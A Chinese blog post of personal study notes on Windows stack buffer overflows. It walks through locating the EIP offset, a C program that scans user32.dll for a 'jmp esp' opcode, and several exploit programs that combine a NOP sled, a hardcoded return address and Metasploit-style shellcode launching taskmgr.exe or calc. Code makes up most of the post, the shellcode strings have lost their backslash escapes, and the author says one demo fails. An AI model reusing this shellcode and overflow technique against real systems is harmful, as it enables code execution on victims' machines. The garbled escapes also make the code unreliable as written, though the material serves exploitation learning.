zoukankan      html  css  js  c++  java
  • 缓冲区溢出学习_1

    栈就是这样的,EIP始终指向ESP。我们的目的就是要把DATA以及EBP给占满。但是占满之前需要知道,究竟多少个字节才能够占满。

    首先需要了解EBP占四个字节。也就是如果是char buffer[8];的话你需要加4才能够完全的到达EIP区。

    来测试一波一个简单的DEMO:

    #include "stdio.h"
    #include "string.h"
    
    char name[] = "hackershhelloworld";
    
    int main()
    {
    	char buffer[8];
    	strcpy(buffer,name);
    	printf("%s
    ",buffer);
    	getchar();
    	return 0;
    }
    

    编译好然后丢到XP中。

    重点看第四步:code:0x0000005的意思就是意味着溢出,而Address就是溢出的地址(EIP或者说返回地址);

    Address是:72、6f、77、6f

    然后将其转换一波十六进制的字符ASCII为字符,也就是r、o、w、o

    翻转过来也就是owor(这里需要去了解入栈和出栈的流程,就像一瓶水,把A瓶子里的水倒入B瓶子的时候,水会首先进入B瓶子的瓶底,最后的会到A瓶子的瓶面。这就是入栈,然后出栈的时候也就是相反的,B瓶子的水倒入A瓶子,刚开始第一次倒的水在水面的会首先进入B瓶子的瓶底,最后的会进入瓶面)所以这里的EIP我们拿到的反的,你需要翻转才行。

    那么就可以与name数组中的几个字符对应了"hackershhelloworld";

    对应的这几个字符就称之为返回地址,也就是eip了。找到可以发现到o的前面总共有12个字符,而EBP占了4个字符,也就是说,前面的八个字符(hackersh)是DATA,后面的4个字符(hell)是EBP;

    (这里分享一个疑惑点吧,就是在测试当中发现如果是name[3]的话好像就有点不同了,可以自己测试一波,如果不测试的话,这句话当我没说。)

    通常找EIP有可能会很大,比如EIP可能会是在80个字符,或者更多,为了更快更高效的找可以结合例如大小写字母组合起来,小写字母占26,大写26,那么一组大小写下来就是52个字符,如果说是80个的话就很快就可以找到。因为你只需要两组大小写字母就可以了。(PS:找到了记得需要减去4(EBP所占大小)才是DATA哟)

    然后找到溢出地址栈了以后,需要找到ESP

    那么如何找ESP呢?可以直接通过Olly ICE找。

    加载进去以后右键->查找->命令->输入jmp esp

    然后得到jmp esp #这里需要说明一下,各个系统的jmp esp可能是不一样的哈。

    也可以通过如下代码编译然后获得:

    #include<windows.h>
    #include<stdio.h>
    #include<stdlib.h>
    
    int main()
    {
        BYTE *ptr;
        int position;
        HINSTANCE handle;
        BOOL done_flag = FALSE;
        handle = LoadLibrary("user32.dll");
        if(!handle)
        {
            printf("load dll error");
            exit(0);
        }
        ptr = (BYTE*)handle;
    
        for(position = 0;!done_flag;position++)
        {
            try
            {
                //jmp esp 机器码ffe4
                if(ptr[position] == 0xFF && ptr[position+1]==0xE4)
                {
                    int address = (int)ptr + position;
                    printf("opcode found at 0x%x
    ",address);
                }
            }
            catch(...)
            {
                    int address = (int)ptr + position;
                    printf("end of 0x%x
    ",address);
                    done_flag = true;
            }
        }
            getchar();
            return 0;
        
    
    }
    View Code

    找到以后记录一下哈。

    775D01EB FFE4 jmp esp

    然后编写exp了。

    shellcode可以通过MSF直接生成。

    我们要做的就是把EIP给填补上去就ok了;

     完成的代码如下所示(但是测试你会发现还是不行,因为shellcode中含有00,部分的shellcode被截断了,这里要怎么解决目前还没找到解决的方法,但是修改strcpy可以做到)

    #include "stdio.h"
    #include "string.h"
    
    char name[] = "x90x90x90x90x90x90x90x90x90x90x90x90"
                            "xEBx01x5Dx77" //WIN10 EIP775D01EB
                            "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50" 
                            "x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26" 
                            "x31xffxacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7" 
                            "xe2xf2x52x57x8bx52x10x8bx4ax3cx8bx4cx11x78" 
                            "xe3x48x01xd1x51x8bx59x20x01xd3x8bx49x18xe3" 
                            "x3ax49x8bx34x8bx01xd6x31xffxacxc1xcfx0dx01" 
                            "xc7x38xe0x75xf6x03x7dxf8x3bx7dx24x75xe4x58" 
                            "x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3" 
                            "x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5a" 
                            "x51xffxe0x5fx5fx5ax8bx12xebx8dx5dx6ax01x8d" 
                            "x85xb2x00x00x00x50x68x31x8bx6fx87xffxd5xbb" 
                            "xe0x1dx2ax0ax68xa6x95xbdx9dxffxd5x3cx06x7c" 
                            "x0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x53" 
                            "xffxd5x74x61x73x6bx6dx67x72x2ex65x78x65x00";
    
    int main()
    {
        char buffer[8];
        strcpy(buffer,name);
        printf("%s
    ",buffer);
        getchar();
        return 0;
    }
    View Code

    然后把strcpy修改为memcpy

    既完整代码如下所示:

    #include "stdio.h"
    #include "string.h"
    
    char name[] = "x90x90x90x90x90x90x90x90x90x90x90x90"
                            "xEBx01x5Dx77" //WIN10 EIP775D01EB
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50" 
    "x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26" 
    "x31xffxacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7" 
    "xe2xf2x52x57x8bx52x10x8bx4ax3cx8bx4cx11x78" 
    "xe3x48x01xd1x51x8bx59x20x01xd3x8bx49x18xe3" 
    "x3ax49x8bx34x8bx01xd6x31xffxacxc1xcfx0dx01" 
    "xc7x38xe0x75xf6x03x7dxf8x3bx7dx24x75xe4x58" 
    "x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3" 
    "x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5a" 
    "x51xffxe0x5fx5fx5ax8bx12xebx8dx5dx6ax01x8d" 
    "x85xb2x00x00x00x50x68x31x8bx6fx87xffxd5xbb" 
    "xe0x1dx2ax0ax68xa6x95xbdx9dxffxd5x3cx06x7c" 
    "x0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x53" 
    "xffxd5x63x61x6cx63x2ex65x78x65x00";
    
    int main()
    {
        char buffer[8];
        memcpy(buffer,name,300);
        printf("%s
    ",buffer);
        getchar();
        return 0;
    }

    上面这个DEMO不知道哪里出现问题。但是思路是正确的;

    如下demo可以弹:

    #include <windows.h>
    #include <string.h>
    #include <stdio.h>
    int fun(unsigned char *cpybuf)
    {
       unsigned char buf[8];
       memcpy(buf,cpybuf,300);
       return 0;
    }
    
    int main()
    {
      //char buff[]="123456789999";
       unsigned char buff[]="x90x90x90x90x90x90x90x90x90x90x90x90"
       "xEBx01x88x77"//778801EB    FFE4            jmp     esp
       "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50" 
       "x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26" 
       "x31xffxacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7" 
       "xe2xf2x52x57x8bx52x10x8bx4ax3cx8bx4cx11x78" 
       "xe3x48x01xd1x51x8bx59x20x01xd3x8bx49x18xe3" 
       "x3ax49x8bx34x8bx01xd6x31xffxacxc1xcfx0dx01" 
       "xc7x38xe0x75xf6x03x7dxf8x3bx7dx24x75xe4x58" 
       "x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3" 
       "x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5a" 
       "x51xffxe0x5fx5fx5ax8bx12xebx8dx5dx6ax01x8d" 
       "x85xb2x00x00x00x50x68x31x8bx6fx87xffxd5xbb" 
       "xe0x1dx2ax0ax68xa6x95xbdx9dxffxd5x3cx06x7c" 
       "x0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x53" 
       "xffxd5x63x61x6cx63x00";
      fun(buff);
      return 0;
    }

  • 相关阅读:
    TSQL编程的全局变量
    一、读大学,究竟读什么?
    受用一生的心理寓言
    字符串函数
    android wait notify实现线程挂起与恢复
    Java Thread.interrupt 中断JAVA线程
    android实现文件下载功能的3种方法
    Android startActivityForResult 和 setResult的使用
    Android 软键盘盖住输入框的问题
    Android蓝牙操作
  • 原文地址:https://www.cnblogs.com/nul1/p/10934582.html
Copyright © 2011-2022 走看看